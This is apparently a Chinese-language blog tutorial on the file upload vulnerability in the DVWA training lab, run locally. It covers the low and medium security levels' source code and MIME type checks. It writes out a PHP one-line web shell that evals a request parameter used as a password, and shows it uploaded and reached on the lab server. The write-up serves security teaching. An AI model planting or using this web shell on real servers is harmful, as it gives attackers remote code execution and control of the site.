DVWA文件上传漏洞

一、搭建DVWA环境

  1. 在windows下利用phpstudy搭建dvwa靶场

2.查看ip地址,访问DVWA。

二、制作一句话木马

新建一个记事本文件,在记事本中写入“<?phpeval($_REQUEST['zhengxiaohan']);?>”, 并将文件的扩展名改为.php,“zhengxiaohan”作为密码。并输出“ok”来验证文件是否成功上传。

三、分析low级别的代码

1.将DVWA安全级别修改为low级别。

2.点击upload-view source,查看源代码

3.对源代码进行分析

(1)if语句判断是否是用post方法来上传文件,如果是执行括号内部代码。

(2)$target_path目的路径变量,文件上传到DVWA来存放的位置,

(3)DVWA_WEB_PAGE_TO_ROOT常量,dvwa所在目录的位置

(4)“hackable/uploads/”字符串,文件所在的位置,dvwa的子目录

(5)“.”拼接常量和字符串

(6)对变量$target_path 重新赋值,变量$FILES 函数获取上传文件的文件名,basename()函数返回带有拓展名部分的文件名;通过“.”将上面得到的路径和文件名连接起来,得到完整的目的路径。

(7)使用move_uploaded_file()函数将上传的临时文件移动到指定目标位置,如果移动文件操作没有成功执行,则输出“Your image was not uploaded”。如果移动文件操作成功执行,则输出文件的位置.”successfully uploaded”。

(8)综上,low级别对上传的文件类型没有任何防范,其初衷是想要用户只能上传图片,而现在可以上传php文件,而且能够被网站解析。

4.上传一句话木马

组合文件的url:http://127.0.0.1/dvwa/hackable/uploads/muma.php

5.访问url,网站能够成功解析文件,输出OK,说明一句话木马上传成功并生效

四、分析medium 级别所采取的防御方法

1.将DVWA的安全级别修改为medium级别。

2.点击upload-view source,查看源代码

3.对源代码进行分析

(1)通过$_FILES预定义变量获取上传文件的文件名(name)、文件类型(type)和文件大小(size)这是三个数据分别赋给三个变量$uploaded_name、$uploaded_type、$uploaded_size。

(2)通过if语句判断,在同时满足上传文件类型是image/.jpg以及文件大小为100k时,才能继续执行括号内操作,检测文件是否成功移动,与Low级别内容相同。当不满足上述两个条件时,输出“Your image was not uploaded”。

(3)因此,medium级别主要是判断文件的类别和大小,代码中对于文件大小的限制一般文件都可以满足要求,因此主要分析文件上传的类型。

(4)MIME类型:MIME类型用来设定某种扩展名文件的打开方式

$_FILES[‘uploaded’][‘type‘]可以获取上传文件的 MIME 类型

常见的MIME 类型:分为两部分(“/”前是大类,“/”后是具体类别)

超文本标记语言文本(.html):text/html

普通文本(.txt): text/plain

RTF 文本(.rtf): application/rtf

GIF 图形(.gif):image/gif

JPEG 图形(.jpeg、.jpg): image/jpeg

4.上传一句话木马(php文件),上传失败。

5.将一句话木马修改为jpg形式,重新上传图片形式的一句话木马

6.图片虽然成功上传但是无法使用,没有实际意义。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值